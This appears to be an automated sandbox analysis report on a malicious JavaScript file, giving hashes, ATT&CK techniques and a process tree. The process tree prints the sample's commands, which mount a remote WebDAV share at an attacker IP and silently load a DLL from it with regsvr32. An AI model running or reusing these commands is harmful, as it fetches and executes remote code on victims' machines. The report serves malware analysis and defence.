a0e60b4f3f2cb5b78021d7569f0c2e0997db88b86c29ef60f5b839a2028d56c6

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240708-en
resource tags

arch:x64arch:x86image:win10v2004-20240708-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 07:10

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General

Target

2833694611916012872.js
Size

5KB
MD5

a059b0a239f80394031fde8da725b794
SHA1

891e9a796395a055bf41b5b929199b30c3affd4f
SHA256

c971a1fa1d0fa5634745b4b0610f4938df0c326cffb61e716f8c9fee6f93a40d
SHA512

03885a4efc3873f8edc4cd3645e8b3b872c9c53a98abbb27bcd75bec69051a4bc4503e2958b2e4e8a418b678b7ad3f6e6ccae03fe17a818dc65c9e9d767c1d78
SSDEEP

96:wTsSStlSaiqPsgQQHxPEHsgQQHCYsp872dhPaHTMbkYnB2YMs9wrkb:1xgq0UMMXYsp8sa4m1kb

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3310979990-555183016-1244931625-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 3940	2388	wscript.exe	82
PID 2388 wrote to memory of 3940	2388	wscript.exe	82
PID 3940 wrote to memory of 1876	3940	cmd.exe	87
PID 3940 wrote to memory of 1876	3940	cmd.exe	87
PID 3940 wrote to memory of 1320	3940	cmd.exe	88
PID 3940 wrote to memory of 1320	3940	cmd.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2833694611916012872.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2833694611916012872.js" "C:\Users\Admin\\weehjc.bat" && "C:\Users\Admin\\weehjc.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1876
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\60.dll
    3⤵
    PID:1320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\weehjc.bat

Filesize
5KB

MD5
a059b0a239f80394031fde8da725b794

SHA1
891e9a796395a055bf41b5b929199b30c3affd4f

SHA256
c971a1fa1d0fa5634745b4b0610f4938df0c326cffb61e716f8c9fee6f93a40d

SHA512
03885a4efc3873f8edc4cd3645e8b3b872c9c53a98abbb27bcd75bec69051a4bc4503e2958b2e4e8a418b678b7ad3f6e6ccae03fe17a818dc65c9e9d767c1d78

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